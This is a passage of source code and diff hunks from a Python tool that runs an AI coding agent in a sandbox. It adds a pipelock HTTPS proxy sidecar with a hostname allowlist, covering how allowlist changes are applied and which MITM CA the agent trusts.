 bundle supervisor to restart the pipelock daemon (`docker kill
 --signal USR1`) so
 pipelock picks up the new config.
 v1 uses restart, not SIGHUP — pipelock has no in-process reload
 hook and adding one is the "SIGHUP reload for pipelock" open
 question in PRD 0015. Restart drops in-flight outbound calls; the
 agent's HTTP client retries pick up against the restarted proxy.
 """
 from __future__ import annotations
 import os
 import re
 import subprocess
 import tempfile
 from pathlib import Path
 from ...pipelock import pipelock_render_yaml
 from ...yaml_subset import YamlSubsetError, parse_yaml_subset
 from .bottle_state import pipelock_state_dir
 from .sidecar_bundle import sidecar_bundle_container_name
 def _pipelock_yaml_host_path(slug: str) -> Path:
    """The bind-mount source for the pipelock sidecar's
    pipelock.yaml — matches what pipelock.prepare wrote at chunk-2
    paths."""
    return pipelock_state_dir(slug) / "pipelock.yaml"
 PIPELOCK_YAML_IN_CONTAINER = "/etc/pipelock.yaml"
 # Allowlist proposals are one-hostname-per-line. Blank lines and
 # `#`-prefixed comments are ignored. The character set matches the
 # supervise sidecar's syntactic check on the agent's pipelock-block
 # proposal (alphanumerics + dot/dash/underscore).
 _HOST_OK = re.compile(r"^[A-Za-z0-9_.-]+$")
 class PipelockApplyError(RuntimeError):
    """Raised when fetch / parse / apply fails. The dashboard renders
    the message and keeps the proposal pending — never crashes."""
 def parse_allowlist_content(content: str) -> list[str]:
    """One hostname per line. Blanks and `#` comments are ignored.
    Raises PipelockApplyError if a line has a disallowed character."""
    hosts: list[str] = []
    for i, raw_line in enumerate(content.splitlines(), start=1):
        line = raw_line.strip()
        if not line or line.startswith("#"):
            continue
        if not _HOST_OK.match(line):
            raise PipelockApplyError(
                f"allowlist line {i}: {line!r} has disallowed characters"
            )
        hosts.append(line)
    return hosts
 def render_allowlist_content(hosts: list[str]) -> str:
    """Hosts → one-per-line string (the operator-facing format)."""
    if not hosts:
        return ""
    return "\n".join(hosts) + "\n"
 def fetch_current_yaml(slug: str) -> str:
    """Read the live /etc/pipelock.yaml from the sidecar bundle.
    Uses `docker cp` because pipelock inside the bundle is the
    distroless pipelock binary with no shell, and `docker cp` is a
    daemon-API tarball copy that works regardless of what's
    available inside the container.
    Raises PipelockApplyError if the read fails."""
    container = sidecar_bundle_container_name(slug)
    fd, tmp_path = tempfile.mkstemp(prefix="cb-pipelock-fetch.", suffix=".yaml")
    os.close(fd)
    try:
        r = subprocess.run(
            [
                "docker", "cp",
                f"{container}:{PIPELOCK_YAML_IN_CONTAINER}", tmp_path,
            ],
            capture_output=True, text=True, check=False,
        )
        if r.returncode != 0:
            raise PipelockApplyError(
                f"could not fetch pipelock.yaml from {container}: "
                f"{(r.stderr or '').strip() or 'container not running?'}"
            )
        return Path(tmp_path).read_text()
    finally:
        try:
            Path(tmp_path).unlink()
        except OSError:
            pass
 def fetch_current_allowlist(slug: str) -> str:
    """Fetch the live yaml, extract api_allowlist, render as one-per-
    line — the operator-facing format for the TUI / agent's
    current-config mount."""
    yaml = fetch_current_yaml(slug)
    try:
        cfg = parse_yaml_subset(yaml)
    except YamlSubsetError as e:
        raise PipelockApplyError(f"running pipelock yaml: {e}") from e
    hosts = cfg.get("api_allowlist", [])
    if not isinstance(hosts, list):
        raise PipelockApplyError(
            "running pipelock yaml: api_allowlist is not a list"
        )
    return render_allowlist_content([str(h) for h in hosts])
 def apply_allowlist_change(
    slug: str, new_allowlist_content: str,
 ) -> tuple[str, str]:
    """Apply `new_allowlist_content` to the sidecar bundle:
      1. Parse the proposed hosts (one per line).
      2. Fetch + parse current pipelock.yaml.
      3. Replace api_allowlist with the proposed hosts; re-render.
      4. Write the new yaml to the bind-mount source.
      5. `docker kill --signal USR1 <bundle>` so the supervisor
         restarts the pipelock daemon in place (leaving egress,
         git-gate, and supervise running). Pipelock has no
         in-process reload; the supervisor's per-daemon restart
         keeps the agent's MCP socket alive — a whole-bundle
         `docker restart` would bounce supervise too.
    Returns (before, after) where both are one-per-line allowlist
    strings (operator-facing format). Raises PipelockApplyError on
    any failure; the sidecar's existing config stays in place until
    the host write succeeds, and the SIGUSR1 is what makes it
    live."""
    new_hosts = parse_allowlist_content(new_allowlist_content)
    container = sidecar_bundle_container_name(slug)
    current_yaml = fetch_current_yaml(slug)
    try:
        cfg = parse_yaml_subset(current_yaml)
    except YamlSubsetError as e:
        raise PipelockApplyError(f"running pipelock yaml: {e}") from e
    current_hosts = cfg.get("api_allowlist", [])
    if not isinstance(current_hosts, list):
        raise PipelockApplyError(
            "running pipelock yaml: api_allowlist is not a list"
        )
    before = render_allowlist_content([str(h) for h in current_hosts])
    after = render_allowlist_content(new_hosts)
    cfg["api_allowlist"] = new_hosts
    rendered = pipelock_render_yaml(cfg)
    # pipelock.yaml is bind-mounted into the container as a SINGLE
    # FILE — same Docker single-file inode issue as egress_apply:
    # write-temp-then-rename swaps the host inode and leaves the
    # container's mount pointing at the orphaned old one. Write
    # in-place. The SIGUSR1 below makes the new content live
    # (pipelock has no in-process reload, so the supervisor
    # restarts the pipelock daemon in response).
    target = _pipelock_yaml_host_path(slug)
    target.parent.mkdir(parents=True, exist_ok=True)
    target.write_text(rendered)
    # pipelock runs as root in its distroless image — any mode is
    # fine — but 0o600 matches what prepare wrote.
    target.chmod(0o600)
    restart = subprocess.run(
        ["docker", "kill", "--signal", "USR1", container],
        capture_output=True, text=True, check=False,
    )
    if restart.returncode != 0:
        raise PipelockApplyError(
            f"failed to signal {container} for pipelock restart: "
            f"{(restart.stderr or '').strip()}"
        )
    return before, after
 __all__ = [
    "PIPELOCK_YAML_IN_CONTAINER",
    "PipelockApplyError",
    "apply_allowlist_change",
    "fetch_current_allowlist",
    "fetch_current_yaml",
    "parse_allowlist_content",
    "render_allowlist_content",
 ]
@@ -20,6 +20,7 @@ from ...egress import Egress
 from ...env import ResolvedEnv, resolve_env
 from ...git_gate import GitGate
 from ...log import die
 from ...pipelock import PipelockProxy
 from ...supervise import Supervise
 from ...workspace import workspace_plan as resolve_workspace_plan
 from .. import BottleSpec
@@ -35,6 +36,7 @@ from .bottle_state import (
    per_bottle_dockerfile,
    per_bottle_dockerfile_path,
    per_bottle_image_tag,
    pipelock_state_dir,
    supervise_state_dir,
    write_metadata,
 )
@@ -51,6 +53,7 @@ def resolve_plan(
    validation already ran in the base class."""
    docker_mod.require_docker()
    proxy = PipelockProxy()
    git_gate = GitGate()
    egress = Egress()
    supervise = Supervise()
@@ -188,6 +191,12 @@ def resolve_plan(
        guest_env.setdefault(key, val)
    agent_provision = replace(agent_provision, guest_env=guest_env)
    pipelock_dir = pipelock_state_dir(slug)
    pipelock_dir.mkdir(parents=True, exist_ok=True)
    proxy_plan = proxy.prepare(
        bottle, slug, pipelock_dir, agent_provision.egress_routes,
    )
    egress_dir = egress_state_dir(slug)
    egress_dir.mkdir(parents=True, exist_ok=True)
    egress_plan = egress.prepare(
@@ -200,16 +209,17 @@ def resolve_plan(
        # root; for `--cwd` derived images the base Dockerfile is what
        # the agent should propose changes against (the derived layer
        # is just a workspace copy).
-        # (routes.yaml used to land here too but PRD 0017 chunk 3
+        # (routes.yaml + pipelock allowlist used to land here too but
-        # moved it behind the `list-egress-routes` MCP tool so the
+        # PRD 0017 chunk 3 moved them behind the
-        # agent gets live state rather than a launch-time snapshot.)
+        # `list-egress-routes` MCP tool so the agent gets live
        # state rather than a launch-time snapshot.)
        supervise_dockerfile_path = (
            Path(dockerfile_path)
            if dockerfile_path
            else Path(__file__).resolve().parent.parent.parent.parent / "Dockerfile.claude"
        )
        dockerfile_content = (
-            supervise_dockerfile_path.read_text(encoding="utf-8")
+            supervise_dockerfile_path.read_text()
            if supervise_dockerfile_path.is_file()
            else ""
        )
@@ -234,6 +244,7 @@ def resolve_plan(
        env_file=env_file,
        forwarded_env=forwarded_env,
        prompt_file=prompt_file,
        proxy_plan=proxy_plan,
        git_gate_plan=git_gate_plan,
        egress_plan=egress_plan,
        supervise_plan=supervise_plan,
@@ -1,8 +1,19 @@
-"""Install the per-bottle egress MITM CA into the agent container's
+"""Install the per-bottle MITM CA into the agent container's trust
-trust store.
+store.
-By the time this provisioner runs, `egress_tls_init` has generated
+Post-PRD-0017 the CA depends on the agent's HTTP_PROXY target:
-the egress CA and the path is re-bound into `plan.egress_plan`.
+
  - Bottle declares `egress.routes[]` → agent's HTTP_PROXY
    points at egress; the cert the agent must trust is the
    one egress mints leaf certs with (the egress CA).
  - No egress routes → agent's HTTP_PROXY points straight at
    pipelock; the cert the agent must trust is pipelock's CA (the
    pre-cutover behavior).
 By the time this provisioner runs, the corresponding `tls_init`
 helper has generated the chosen CA under `plan.stage_dir`, and the
 sidecar (pipelock or egress) is up referencing the
 in-container CA paths.
 Cert lands on Debian's standard source path
 (`/usr/local/share/ca-certificates/`); `update-ca-certificates`
@@ -29,7 +40,7 @@ def provision_ca(plan: DockerBottlePlan, bottle: Bottle) -> None:
    """Copy the agent-facing CA cert into the agent, rebuild the
    trust bundle, emit a one-line fingerprint log. Called from
    `BottleBackend.provision` after the agent container is up."""
-    cert_host_path, label = select_ca_cert(plan.egress_plan)
+    cert_host_path, label = select_ca_cert(plan.egress_plan, plan.proxy_plan)
    bottle.cp_in(str(cert_host_path), AGENT_CA_PATH)
    bottle.exec(
@@ -2,10 +2,10 @@
 (PRD 0024).
 The bundle image (built by Dockerfile.sidecars, PRD 0024 chunk 1)
-runs egress + git-gate + supervise as one container per bottle
+runs pipelock + egress + git-gate + supervise as one container
-under a small Python init supervisor. As of chunk 5 the bundle
+per bottle under a small Python init supervisor. As of chunk 5
-is the only shape — the legacy four-sidecar topology and its
+the bundle is the only shape — the legacy four-sidecar topology
-`BOT_BOTTLE_SIDECAR_BUNDLE` feature flag are gone."""
+and its `BOT_BOTTLE_SIDECAR_BUNDLE` feature flag are gone."""
 from __future__ import annotations
@@ -19,7 +19,7 @@ from __future__ import annotations
 import subprocess
 import sys
-from typing import Mapping, cast
+from typing import Mapping
 from ...agent_provider import PromptMode, prompt_args
 from .. import Bottle, ExecResult
@@ -72,7 +72,7 @@ class SmolmachinesBottle(Bottle):
        # In-VM path to the agent's prompt file. None when the
        # agent declared no prompt (file still exists; we just
        # don't pass --append-system-prompt-file).
-        self.prompt_path = prompt_path
+        self._prompt_path = prompt_path
        # Env vars the agent process needs (HTTPS_PROXY,
        # CLAUDE_CODE_OAUTH_TOKEN, manifest-declared bottle env, …).
        # Forwarded on every `smolvm machine exec` via `-e K=V`
@@ -93,9 +93,9 @@ class SmolmachinesBottle(Bottle):
        agent_tail = ["env", *_env_assignments_for("node", self._guest_env),
                      self.agent_command]
        provider_prompt_args = prompt_args(
-            cast(PromptMode, self._agent_prompt_mode), self.prompt_path, argv=argv,
+            self._agent_prompt_mode, self._prompt_path, argv=argv,
        )
-        if cast(PromptMode, self._agent_prompt_mode) == "read_prompt_file":
+        if self._agent_prompt_mode == "read_prompt_file":
            agent_tail += argv
            agent_tail += provider_prompt_args
        else:
@@ -12,6 +12,7 @@ from dataclasses import dataclass
 from pathlib import Path
 from ...agent_provider import PromptMode
 from ...pipelock import PipelockProxyPlan
 from .. import BottlePlan
@@ -70,6 +71,7 @@ class SmolmachinesBottlePlan(BottlePlan):
    # docker's `--internal` + egress bridge topology; it's on a
    # per-bottle bridge with a pinned IP. The unused fields stay
    # at their dataclass defaults.
    proxy_plan: PipelockProxyPlan
    # Agent-side endpoints. On Docker Desktop the docker bridge
    # IPs aren't reachable from the smolvm guest (TSI uses macOS
    # networking; docker container IPs live in the daemon's VM),
@@ -69,8 +69,8 @@ def enumerate_active() -> list[ActiveAgent]:
 def _query_bundle_services() -> dict[str, tuple[str, ...]]:
-    """`{slug: ('egress', ...)}` from each running bundle container's
+    """`{slug: ('egress', 'pipelock', ...)}` from each running
-    `BOT_BOTTLE_SIDECAR_DAEMONS` env var.
+    bundle container's `BOT_BOTTLE_SIDECAR_DAEMONS` env var.
    Smolmachines bundles all run the PRD-0024 image with the
    same daemon set declared via env, so one inspect per bundle
    gets us the picture without exec'ing into the container.
@@ -9,9 +9,13 @@ guest pointed at the bundle's pinned IP via TSI's
 exit.
 The bundle's daemons consume the inner Plans the docker backend
-already produces: egress reads routes + CAs from the EgressPlan.
+already produces: pipelock reads its yaml + CA from the
-Git-gate + supervise plumb through the same plans the docker
+PipelockProxyPlan; egress reads routes + CAs from the EgressPlan
-backend uses, minus the docker-network fields that don't apply here."""
+ EGRESS_UPSTREAM_PROXY pointing at `127.0.0.1:8888` (bundle
 local), since the agent dials pipelock first (not egress) on the
 smolmachines path. Git-gate + supervise plumb through the same
 plans the docker backend uses, minus the docker-network fields
 that don't apply here."""
 from __future__ import annotations
@@ -25,11 +29,16 @@ from ...egress import (
    EGRESS_ROUTES_IN_CONTAINER,
    egress_resolve_token_values,
 )
 from ...pipelock import (
    PIPELOCK_CA_CERT_IN_CONTAINER,
    PIPELOCK_CA_KEY_IN_CONTAINER,
 )
 from ...supervise import QUEUE_DIR_IN_CONTAINER, SUPERVISE_PORT
 from ...util import expand_tilde
 from ..docker import util as docker_mod
 from ..docker.egress import (
    EGRESS_CA_IN_CONTAINER,
    EGRESS_PIPELOCK_CA_IN_CONTAINER,
    EGRESS_PORT as _EGRESS_PORT,
    egress_tls_init,
 )
@@ -39,9 +48,14 @@ from ..docker.git_gate import (
    GIT_GATE_ENTRYPOINT_IN_CONTAINER,
    GIT_GATE_HOOK_IN_CONTAINER,
 )
 from ..docker.pipelock import (
    BUNDLE_LOCAL_PIPELOCK_URL,
    PIPELOCK_PORT as _PIPELOCK_PORT_STR,
    pipelock_tls_init,
 )
 from ...git_gate import revoke_git_gate_provisioned_keys
 from ...log import warn
-from ..docker.bottle_state import egress_state_dir, git_gate_state_dir
+from ..docker.bottle_state import git_gate_state_dir
 from . import loopback_alias as _loopback
 from . import sidecar_bundle as _bundle
 from . import smolvm as _smolvm
@@ -64,7 +78,9 @@ _SMOLMACHINE_CACHE_DIR = Path.home() / ".cache" / "bot-bottle" / "smolmachines"
 # Container-internal listening ports for each bundle daemon. The
 # bundle publishes each one on a random host loopback port (see
 # `_bundle.start_bundle`), and `_bundle.bundle_host_port` looks
-# them up post-start.
+# them up post-start. Pipelock's port is an env-overridable string
 # in docker.pipelock; coerce to int here.
 _PIPELOCK_PORT = int(_PIPELOCK_PORT_STR)
 _GIT_HTTP_PORT = 9420
 _SUPERVISE_PORT = SUPERVISE_PORT
@@ -73,7 +89,7 @@ _SUPERVISE_PORT = SUPERVISE_PORT
 def launch(
    plan: SmolmachinesBottlePlan,
    *,
-    provision: Callable[[SmolmachinesBottlePlan, "SmolmachinesBottle"], str | None],
+    provision: Callable[[SmolmachinesBottlePlan, str], str | None],
 ) -> Generator[SmolmachinesBottle, None, None]:
    """Build + run the bottle and yield a handle; tear everything
    down on exit. Errors during bringup unwind any partial state
@@ -104,7 +120,7 @@ def launch(
            agent_command=plan.agent_command,
            agent_prompt_mode=plan.agent_prompt_mode,
        )
-        bottle.prompt_path = provision(plan, bottle)
+        bottle._prompt_path = provision(plan, bottle)
        yield bottle
    finally:
@@ -123,7 +139,7 @@ def _teardown_smolmachines(
    teardown_exc: BaseException | None = None
    try:
        stack.close()
-    except BaseException as exc:  # noqa: W0718 — teardown must not fail
+    except BaseException as exc:
        teardown_exc = exc
        warn(f"smolmachines teardown failed: {exc!r}")
    bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
@@ -151,16 +167,33 @@ def _allocate_resources(
 def _mint_certs(plan: SmolmachinesBottlePlan) -> SmolmachinesBottlePlan:
-    """Mint the egress MITM CA and return the plan with CA paths filled."""
+    """Mint per-bottle CAs and return the plan with CA paths filled.
-    egress_ca_host, egress_ca_cert_only = egress_tls_init(
+
-        egress_state_dir(plan.slug),
+    Pipelock always runs in the bundle. Egress's CA is only minted
    when the bottle declares routes — otherwise egress runs idle
    without MITM and the CA files would be unused."""
    ca_cert_host, ca_key_host = pipelock_tls_init(plan.proxy_plan.yaml_path.parent)
    proxy_plan = dataclasses.replace(
        plan.proxy_plan,
        ca_cert_host_path=ca_cert_host,
        ca_key_host_path=ca_key_host,
    )
-    egress_plan = dataclasses.replace(
+    egress_plan = plan.egress_plan
-        plan.egress_plan,
+    if egress_plan.routes:
-        mitmproxy_ca_host_path=egress_ca_host,
+        egress_ca_host, egress_ca_cert_only = egress_tls_init(
-        mitmproxy_ca_cert_only_host_path=egress_ca_cert_only,
+            plan.egress_plan.routes_path.parent,
-    )
+        )
-    return dataclasses.replace(plan, egress_plan=egress_plan)
+        egress_plan = dataclasses.replace(
            egress_plan,
            mitmproxy_ca_host_path=egress_ca_host,
            mitmproxy_ca_cert_only_host_path=egress_ca_cert_only,
            pipelock_ca_host_path=ca_cert_host,
            # On smolmachines, egress's upstream is pipelock on the
            # bundle's localhost — they're in the same container's
            # network namespace.
            pipelock_proxy_url=BUNDLE_LOCAL_PIPELOCK_URL,
        )
    return dataclasses.replace(plan, proxy_plan=proxy_plan, egress_plan=egress_plan)
 def _start_bundle(
@@ -191,10 +224,17 @@ def _discover_urls(
    macOS networking, and macOS sees the daemon's bridge via the
    published-port loopback forward only.
    Proxy hop order: when the bottle declares egress routes, the
    agent's first hop is egress (for token injection), then
    pipelock. Without routes, the agent dials pipelock directly.
    NO_PROXY includes the per-bottle loopback alias so the
    supervise + git-gate URLs bypass HTTPS_PROXY."""
    if plan.egress_plan.routes:
        agent_facing_port = _EGRESS_PORT
    else:
        agent_facing_port = _PIPELOCK_PORT
    agent_facing_host_port = _bundle.bundle_host_port(
-        plan.slug, _EGRESS_PORT, host_ip=loopback_ip,
+        plan.slug, agent_facing_port, host_ip=loopback_ip,
    )
    agent_proxy_url = f"http://{loopback_ip}:{agent_facing_host_port}"
@@ -288,7 +328,8 @@ def _bundle_launch_spec(
    """Build a BundleLaunchSpec from the resolved inner Plans.
    Daemons in the CSV:
-      - egress is always present.
+      - egress + pipelock are always present (pipelock is the
        agent's first hop; egress is its upstream).
      - git-gate + git-http are conditional on plan.git_gate_plan.upstreams.
      - supervise is conditional on plan.supervise_plan.
@@ -296,15 +337,36 @@ def _bundle_launch_spec(
    daemon-private values only (HTTPS_PROXY is scoped to the
    egress process by egress_entrypoint.sh — see PRD 0024's bundle
    bind-address PR)."""
-    daemons: list[str] = ["egress"]
+    daemons: list[str] = ["egress", "pipelock"]
    env: list[str] = []
    volumes: list[tuple[str, str, bool]] = []
    # In this Docker-Desktop-compatible topology, whichever daemon
    # is "agent-facing" gets its port published on the host
    # loopback (see `_ensure_smolmachine`'s discovery loop) and the
    # other stays bundle-internal. The bundle is NOT reachable by
    # bridge IP from the smolvm guest on macOS — TSI uses macOS
    # networking, and macOS sees the daemon's bridge via the
    # published-port loopback forward only.
    # --- pipelock ---------------------------------------------
    pp = plan.proxy_plan
    volumes += [
        (str(pp.yaml_path), "/etc/pipelock.yaml", True),
        (str(pp.ca_cert_host_path), PIPELOCK_CA_CERT_IN_CONTAINER, True),
        (str(pp.ca_key_host_path), PIPELOCK_CA_KEY_IN_CONTAINER, True),
    ]
    # --- egress -----------------------------------------------
    ep = plan.egress_plan
    volumes.append((str(ep.mitmproxy_ca_host_path), EGRESS_CA_IN_CONTAINER, True))
    if ep.routes:
-        volumes.append((str(ep.routes_path), EGRESS_ROUTES_IN_CONTAINER, True))
+        env.append(f"EGRESS_UPSTREAM_PROXY={ep.pipelock_proxy_url}")
        env.append(f"EGRESS_UPSTREAM_CA={EGRESS_PIPELOCK_CA_IN_CONTAINER}")
        volumes += [
            (str(ep.routes_path), EGRESS_ROUTES_IN_CONTAINER, True),
            (str(ep.mitmproxy_ca_host_path), EGRESS_CA_IN_CONTAINER, True),
            (str(ep.pipelock_ca_host_path), EGRESS_PIPELOCK_CA_IN_CONTAINER, True),
        ]
        # Bare-name entries for upstream-token slots. Their values
        # come from the docker-run subprocess env (inherited from
        # the operator's shell), never landing on argv.
@@ -347,8 +409,14 @@ def _bundle_launch_spec(
    # Container ports the agent reaches from the smolvm guest —
    # published on host loopback so the guest can dial via TSI +
-    # macOS networking. Egress is always the agent's HTTP/HTTPS proxy.
+    # macOS networking. The HTTP/HTTPS chokepoint is whichever
-    ports_to_publish: list[int] = [_EGRESS_PORT]
+    # daemon's port we publish: egress when routes are declared
    # (token injection first, then forwards to bundle-internal
    # pipelock), pipelock otherwise.
    if ep.routes:
        ports_to_publish: list[int] = [_EGRESS_PORT]
    else:
        ports_to_publish = [_PIPELOCK_PORT]
    if gp.upstreams:
        ports_to_publish.append(_GIT_HTTP_PORT)
    if sp is not None:
@@ -42,13 +42,13 @@ import time
 import uuid
 from contextlib import contextmanager
 from dataclasses import dataclass
-from typing import Generator
+from typing import Iterator
 from ...log import die
 # registry:2.8.3, pinned by digest. Same env-override pattern as the
-# sidecar image pin in bot_bottle/backend/docker/sidecar_bundle.py.
+# pipelock image pin in bot_bottle/backend/docker/pipelock.py.
 REGISTRY_IMAGE = os.environ.get(
    "BOT_BOTTLE_REGISTRY_IMAGE",
    "registry@sha256:a3d8aaa63ed8681a604f1dea0aa03f100d5895b6a58ace528858a7b332415373",
@@ -61,10 +61,7 @@ REGISTRY_IMAGE = os.environ.get(
 # narrow.
 CRANE_IMAGE = os.environ.get(
    "BOT_BOTTLE_CRANE_IMAGE",
-    (
+    "gcr.io/go-containerregistry/crane@sha256:0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084",
        "gcr.io/go-containerregistry/crane@sha256:"
        "0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084"
    ),
 )
@@ -98,7 +95,7 @@ class RegistryHandle:
@contextmanager
-def ephemeral_registry() -> Generator[RegistryHandle, None, None]:
+def ephemeral_registry() -> Iterator[RegistryHandle]:
    """Bring up a per-session docker network + a `registry:2.8.3`
    container on it (published on a random host port), yield a
    `RegistryHandle`, force-remove both on exit.
@@ -208,6 +205,7 @@ def _host_port(name: str) -> int:
        return int(port_str)
    except ValueError:
        die(f"unexpected `docker port` output: {line!r}")
        return -1  # unreachable; die() never returns
 def _wait_ready(port: int) -> None:
@@ -47,6 +47,7 @@ from __future__ import annotations
 import fcntl
 import json
 import os
 import platform
 import re
 import sqlite3
@@ -176,11 +177,11 @@ def force_allowlist(machine_name: str, allowed_cidrs: list[str]) -> None:
        con.close()
-def allocate(_slug: str) -> str:
+def allocate(slug: str) -> str:
    """Pick the lowest-numbered alias from the pool not already
    in use by a running smolmachines bundle. Bails when the pool
    is exhausted — the caller should report the limit to the
-    operator. `_slug` is logged for traceability; not otherwise
+    operator. `slug` is logged for traceability; not otherwise
    used (no on-disk reservation, allocation is purely
    docker-state-driven).
@@ -195,7 +196,7 @@ def allocate(_slug: str) -> str:
    if not _is_macos():
        return "127.0.0.1"
    _ALLOC_LOCK_PATH.parent.mkdir(parents=True, exist_ok=True)
-    with open(_ALLOC_LOCK_PATH, "w", encoding="utf-8") as lf:
+    with open(_ALLOC_LOCK_PATH, "w") as lf:
        fcntl.flock(lf, fcntl.LOCK_EX)
        return _allocate_locked()
@@ -211,6 +212,7 @@ def _allocate_locked() -> str:
        f"Stop a running bottle (`smolvm machine ls --json`) or "
        f"raise _POOL_END in loopback_alias.py."
    )
    return ""  # unreachable; die() never returns
 def _alias_present(ip: str) -> bool:
@@ -23,21 +23,24 @@ from ...backend.docker.bottle_state import (
    bottle_identity,
    egress_state_dir,
    git_gate_state_dir,
    pipelock_state_dir,
    supervise_state_dir,
    write_metadata,
 )
 from ...egress import Egress
 from ...env import resolve_env
 from ...git_gate import GitGate
 from ...pipelock import PipelockProxy
 from ...supervise import Supervise
 from ...workspace import workspace_plan as resolve_workspace_plan
 from .bottle_plan import SmolmachinesBottlePlan
 from .util import smolmachines_bundle_subnet, smolmachines_preflight
-# Gateway ports the bundle exposes inside its container — git-gate's
+# Gateway ports the bundle exposes inside its container — pipelock
-# git-daemon, supervise's MCP. The agent inside the smolvm guest
+# HTTPS proxy, git-gate's git-daemon, supervise's MCP. The agent
-# dials these on the bundle's pinned IP.
+# inside the smolvm guest dials these on the bundle's pinned IP.
 _BUNDLE_PIPELOCK_PORT = 8888
 _BUNDLE_GIT_GATE_PORT = 9418
 _BUNDLE_SUPERVISE_PORT = 9100
@@ -142,6 +145,18 @@ def resolve_plan(
        merged_guest_env.setdefault(key, val)
    agent_provision = replace(agent_provision, guest_env=merged_guest_env)
    # Inner Plans for the four bundle daemons. The ABCs are
    # platform-neutral — `.prepare()` writes config files + returns
    # a Plan dataclass with no backend-specific assumptions. State
    # dirs are still keyed by slug under the docker backend's
    # bottle_state layout (shared on-host convention; not a docker
    # dependency).
    pipelock_dir = pipelock_state_dir(slug)
    pipelock_dir.mkdir(parents=True, exist_ok=True)
    proxy_plan = PipelockProxy().prepare(
        bottle, slug, pipelock_dir, agent_provision.egress_routes,
    )
    egress_dir = egress_state_dir(slug)
    egress_dir.mkdir(parents=True, exist_ok=True)
    egress_plan = Egress().prepare(
@@ -166,6 +181,7 @@ def resolve_plan(
        agent_image_ref=agent_image_ref,
        guest_env=agent_provision.guest_env,
        prompt_file=prompt_file,
        proxy_plan=proxy_plan,
        git_gate_plan=git_gate_plan,
        egress_plan=egress_plan,
        supervise_plan=supervise_plan,
@@ -1,10 +1,13 @@
-"""Install the per-bottle egress MITM CA into the smolmachines
+"""Install the per-bottle MITM CA into the smolmachines guest's
-guest's trust store (PRD 0023 chunk 4d).
+trust store (PRD 0023 chunk 4d).
-Mirrors `backend.docker.provision.ca`: copy the egress CA to
+Mirrors `backend.docker.provision.ca`: select the right CA (egress
-Debian's `/usr/local/share/ca-certificates/` path,
+when the bottle has routes, else pipelock), copy it to Debian's
 `/usr/local/share/ca-certificates/` path,
 `update-ca-certificates` to rebuild the trust bundle, and log the
-fingerprint once.
+fingerprint once. The selected cert depends on the agent's
 HTTP_PROXY target — same logic as the docker backend, since the
 agent dials the same daemons through the same bundle.
 `smolvm machine exec` runs commands as root in the VM (no `-u`
 flag exists; the VM init is root), so we don't need the explicit
@@ -32,7 +35,7 @@ def provision_ca(plan: SmolmachinesBottlePlan, bottle: Bottle) -> None:
    """Copy the agent-facing CA cert into the guest, rebuild the
    trust bundle, emit a one-line fingerprint log. Called from
    `BottleBackend.provision` after the smolvm guest is up."""
-    cert_host_path, label = select_ca_cert(plan.egress_plan)
+    cert_host_path, label = select_ca_cert(plan.egress_plan, plan.proxy_plan)
    bottle.cp_in(str(cert_host_path), AGENT_CA_PATH)
    # Mode 0644 — readable to non-root tools in the guest.
@@ -42,7 +42,6 @@ import subprocess
 import sys
 import termios
 import threading
 from types import FrameType
 # How long to wait after the main exec starts before pushing the
@@ -124,13 +123,13 @@ def main(argv: list[str]) -> int:
    machine = argv[0]
    inner = argv[2:]
-    def sync(_signum: int | None = None, _frame: FrameType | None = None) -> None:
+    def sync(*_args) -> None:
        size = _read_winsize()
        if size is None:
            return
        _push_size(machine, *size)
-    signal.signal(signal.SIGWINCH, sync)  # type: ignore[arg-type]
+    signal.signal(signal.SIGWINCH, sync)
    proc = subprocess.Popen(inner)
    # Initial sync is deferred — see _STARTUP_SYNC_DELAY_SEC.
@@ -19,7 +19,7 @@ This module ships the lifecycle primitives only — create
 network, start bundle, stop bundle, remove network — wrapped
 around `subprocess.run(["docker", ...])`. Wiring them into the
 launch flow + populating the `BundleLaunchSpec` from the inner
-Plans (EgressPlan, …) lands in chunk 2d."""
+Plans (PipelockProxyPlan, EgressPlan, …) lands in chunk 2d."""
 from __future__ import annotations
@@ -69,7 +69,7 @@ class BundleLaunchSpec:
    # Daemon subset CSV for BOT_BOTTLE_SIDECAR_DAEMONS. The
    # supervisor inside the bundle reads it to skip
    # bottle-irrelevant daemons (e.g. supervise=False bottles).
-    daemons_csv: str = "egress"
+    daemons_csv: str = "egress,pipelock"
    # Plain "KEY=VALUE" strings + "KEY" bare names (the bare-name
    # form inherits the value from the docker-run subprocess env,
    # matching the docker backend's compose-up secret-forwarding
@@ -223,6 +223,7 @@ def bundle_host_port(
        f"no port mapping on {host_ip} for {container} "
        f"{container_port}/tcp; got: {(result.stdout or '').strip()!r}"
    )
    return -1  # unreachable; die() never returns
 def stop_bundle(slug: str) -> None:
@@ -52,7 +52,7 @@ class SmolvmError(RuntimeError):
    pack failed, etc.). Carries the captured stderr for the
    operator-facing log line."""
-    def __init__(self, argv: Sequence[str], result: subprocess.CompletedProcess[str]):
+    def __init__(self, argv: Sequence[str], result: subprocess.CompletedProcess):
        self.argv = list(argv)
        self.returncode = result.returncode
        self.stdout = result.stdout
@@ -65,7 +65,7 @@ class SmolvmError(RuntimeError):
 def _smolvm(*args: str, env: Mapping[str, str] | None = None,
-            check: bool = True) -> subprocess.CompletedProcess[str]:
+            check: bool = True) -> subprocess.CompletedProcess:
    """One subprocess call into the smolvm CLI. `check=True`
    raises SmolvmError on non-zero; `check=False` returns the
    CompletedProcess for the caller to inspect."""
@@ -14,6 +14,7 @@ from ..log import die, info
 if TYPE_CHECKING:
    from ..egress import EgressPlan
    from ..pipelock import PipelockProxyPlan
 # Debian-family CA layout, shared by every backend (all guest images
@@ -34,20 +35,35 @@ def host_skill_dir(name: str) -> str:
    return f"{home}/.claude/skills/{name}"
-def select_ca_cert(egress_plan: EgressPlan) -> tuple[Path, str]:
+def select_ca_cert(
-    """Return the egress MITM CA cert path and label for provision_ca.
+    egress_plan: EgressPlan, proxy_plan: PipelockProxyPlan
 ) -> tuple[Path, str]:
    """Pick the agent-facing CA cert (and a short label for the log
    line) that matches the proxy the agent's HTTP_PROXY points at.
    Egress wins when the bottle declares any routes (it sits in front
    of pipelock); else pipelock.
-    Launch always mints the CA and re-binds the host path into the
+    Shared by every backend's `provision_ca`: launch mints the chosen
-    egress_plan before provision runs, so an empty/missing path here
+    CA(s) and re-binds their host paths into these inner plans before
-    means launch's bringup is broken — fatal."""
